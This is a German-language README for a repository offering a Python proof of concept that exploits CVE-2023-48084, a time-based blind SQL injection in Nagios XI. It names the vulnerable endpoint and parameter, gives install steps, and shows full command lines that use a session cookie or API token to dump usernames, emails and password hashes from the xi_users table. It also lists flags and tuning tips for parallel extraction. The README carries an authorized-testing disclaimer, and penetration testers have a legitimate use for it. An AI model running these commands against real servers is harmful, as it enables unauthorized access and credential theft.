
Python-PoC, der zeitbasierte Blind-SQLi in Nagios XI ausnutzt, um Datenbankinhalte zu extrahieren, mit Multithread-Binärsuche-Extraktion und CLI-Auswahl von Schema/Tabelle/Spalte.
Repository: MettHK/CVE-2023-48084-Revised
Aktualisierte Version von Hamibubu/CVE-2023-48084 mit Multithreading, Binärsuche-Extraktion und CLI-Flags zur Auswahl von Datenbank / Tabelle / Spalte.
Nicht das ursprüngliche Repository. Dies ist ein abgeleiteter/verbesserter PoC. Die Anerkennung für die ursprüngliche Arbeit gebührt Hamibubu.
Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Verwenden Sie dies nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben. Die Autoren und Mitwirkenden sind nicht für Missbrauch verantwortlich.
CVE-2023-48084: Nagios XI vor Version 5.11.3 enthält eine SQL-Injection-Schwachstelle über das Bulk-Modification-Tool.
Dieser PoC nutzt eine zeitbasierte Blind-SQL-Injection aus auf:
/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SQL)
Sie benötigen ein gültiges Nicht-Admin-Sitzungscookie (nagiosxi) oder einen .
| Bereich | Was geändert wurde |
|---|---|
| Extraktion | Binärsuche für Stringlänge und ASCII-Zeichen (deutlich weniger Anfragen) |
| Leistung | Multithreaded Zeichenextraktion (-w / --workers) |
| CLI | -d / --database — Schema-Erkennung überspringen |
| CLI | -t / --table — Tabellen-Erkennung überspringen (erfordert -d) |
| CLI | -C / --columns — Kommagetrennte Spalten, Spalten-Erkennung überspringen (erfordert -t) |
| Timing | Konfigurierbar --delay, --threshold, --max-length |
| Robustheit | Pro-Thread-HTTP-Sitzungen; optional pwntools (Fortschrittsbalken) mit einfachem Fallback |
| Doku | Credit/Link zum Original; keine Labor-Hostnamen oder CTF-Artefakte in Beispielen |
requests (erforderlich)pwntools (optional; schönere Fortschrittsausgabe)git clone https://github.com/MettHK/CVE-2023-48084-Revised.git
cd CVE-2023-48084-Revised
pip install -r requirements.txt
# Interaktiv (Schemas → Tabellen → Spalten ermitteln)
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -c '<cookie>'
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -a '<api_token>'
# Schneller Weg: Datenbank + Tabelle + Spalten bekannt
python3 CVE-2023-48084.py \
-u https://target.example/nagiosxi \
-c '<cookie>' \
-d nagiosxi \
-t xi_users \
-C username,email,password \
-w 15 \
--delay 1.2
Ich empfehle nicht, mehr als 2 Worker zu verwenden, da dies falsche Ergebnisse liefern kann.
| Flag | Beschreibung |
|---|---|
-u / --url | Basis-URL (z. B. https://target.example/nagiosxi) |
-c / --cookie | Wert des nagiosxi-Sitzungscookies |
-a / --apiKey | API-Token (nicht zusammen mit -c verwenden) |
-d / --database | Schema/Datenbankname (Schema-Enumeration überspringen) |
-t / --table | Tabellenname (Tabellen-Enumeration überspringen; benötigt -d) |
-C / --columns | Kommagetrennte Spalten (Spalten-Enumeration überspringen; benötigt -t) |
-w / --workers | Parallele Threads (Standard: 10) |
--delay | SLEEP-Sekunden beim True-Zweig (Standard: 1.5) |
--threshold | Minimale Antwortzeit, um als Treffer zu gelten (Standard: delay * 0.8) |
--max-length | Obergrenze für die Längen-Binärsuche (Standard: 2048) |
--delay erhöhen (z. B. 2) oder -w senken (z. B. 5).-w 15–20).-d / -t / -C bevorzugen, wenn das Zielschema bereits bekannt ist, um lange Erkennung zu vermeiden.